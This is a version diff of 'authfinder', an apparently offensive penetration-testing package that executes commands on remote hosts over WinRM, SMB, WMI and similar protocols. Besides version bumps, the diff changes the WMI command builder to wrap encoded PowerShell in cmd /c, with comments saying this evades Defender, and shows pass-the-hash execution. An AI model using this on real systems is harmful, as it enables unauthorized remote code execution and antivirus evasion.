authfinder 1.1.3__tar.gz → 1.1.4__tar.gz

{authfinder-1.1.3 → authfinder-1.1.4}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: authfinder
-Version: 1.1.3
+Version: 1.1.4
 Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
 Author: Khael
 Project-URL: Homepage, https://github.com/KhaelK138/authfinder

{authfinder-1.1.3 → authfinder-1.1.4}/authfinder/__init__.py

@@ -1,3 +1,3 @@
 """authfinder: Execute commands across Windows and Linux systems using multiple RCE methods"""
 
-__version__ = "1.1.3"
+__version__ = "1.1.4"

{authfinder-1.1.3 → authfinder-1.1.4}/authfinder/authfinder.py

@@ -229,11 +229,11 @@ def build_cmd(tool, user, target, credential, command):
                 f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
 
     if tool == "wmi":
-        # we don't actually need to pass the --no-output here, as defender won't catch it regardless it seems
-        # additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution
-        return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'powershell -enc {b64}'"
+        # we don't actually need to pass the --no-output here, as defender won't catch it with this specific `cmd /c "powershell -enc` combo
+        # additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution for wmi specifically
+        return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'"
                 if use_hash else
-                f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}'")
+                f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'")
 
     if tool == "ssh":
         if LINUX_MODE:

{authfinder-1.1.3 → authfinder-1.1.4}/authfinder.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: authfinder
-Version: 1.1.3
+Version: 1.1.4
 Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
 Author: Khael
 Project-URL: Homepage, https://github.com/KhaelK138/authfinder

{authfinder-1.1.3 → authfinder-1.1.4}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "authfinder"
-version = "1.1.3"
+version = "1.1.4"
 description = "Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)"
 readme = "README.md"
 authors = [